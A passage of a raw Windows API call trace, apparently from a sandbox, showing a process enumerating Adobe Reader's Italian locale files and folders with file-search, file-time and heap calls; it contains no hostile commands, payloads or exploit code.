0x124b7d0 [0082.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125af88 [0082.127] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1280330 [0082.127] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.127] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.ITA", cAlternateFileName="")) returned 1 [0082.127] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.127] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.127] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.128] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.128] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.ITA", cAlternateFileName="")) returned 1 [0082.128] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.ITA", cAlternateFileName="")) returned 1 [0082.128] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ae5a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.ITA", cAlternateFileName="")) returned 1 [0082.128] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ae5a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.ITA", cAlternateFileName="")) returned 1 [0082.128] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.128] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.ITA", cAlternateFileName="")) returned 1 [0082.128] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4e4720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.ITA", cAlternateFileName="")) returned 1 [0082.128] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82a99780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.ITA", cAlternateFileName="")) returned 1 [0082.128] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82a99780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.ITA", cAlternateFileName="")) returned 0 [0082.128] GetLastError () returned 0x12 [0082.128] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0082.129] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0082.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.ITA", cAlternateFileName="")) returned 1 [0082.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82a99780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.ITA", cAlternateFileName="")) returned 1 [0082.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.ITA", cAlternateFileName="")) returned 1 [0082.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d6d1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.ITA", cAlternateFileName="")) returned 1 [0082.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.ITA", cAlternateFileName="")) returned 1 [0082.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ae5a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.ITA", cAlternateFileName="")) returned 1 [0082.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82abf8e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.ITA", cAlternateFileName="")) returned 1 [0082.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ae5a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.ITA", cAlternateFileName="")) returned 1 [0082.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.ITA", cAlternateFileName="")) returned 1 [0082.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82a99780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.ITA", cAlternateFileName="")) returned 1 [0082.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82abf8e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.ITA", cAlternateFileName="")) returned 1 [0082.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.ITA", cAlternateFileName="")) returned 1 [0082.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.ITA", cAlternateFileName="")) returned 1 [0082.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.ITA", cAlternateFileName="")) returned 1 [0082.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82abf8e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x82e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.ITA", cAlternateFileName="")) returned 1 [0082.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7de2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x157000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.ITA", cAlternateFileName="")) returned 1 [0082.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.ITA", cAlternateFileName="")) returned 1 [0082.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.ITA", cAlternateFileName="")) returned 1 [0082.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.ITA", cAlternateFileName="")) returned 1 [0082.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ae5a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.ITA", cAlternateFileName="")) returned 1 [0082.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ae5a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.ITA", cAlternateFileName="")) returned 1 [0082.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.129] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\services"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.133] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0082.133] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0082.133] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12a84c0, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12a84c0, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0082.133] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a84c0) returned 1 [0082.133] NtClose (Handle=0x168) returned 0x0 [0082.134] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1280c78) returned 1 [0082.134] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.134] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.134] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1280c78 [0082.134] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.134] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1280d80 [0082.134] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0082.135] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.135] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8fdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.135] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.135] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1280e88 [0082.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b0a8 [0082.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1280f90 [0082.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.136] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b0c8 [0082.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1281098 [0082.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.138] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.138] GetLastError () returned 0x12 [0082.138] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | 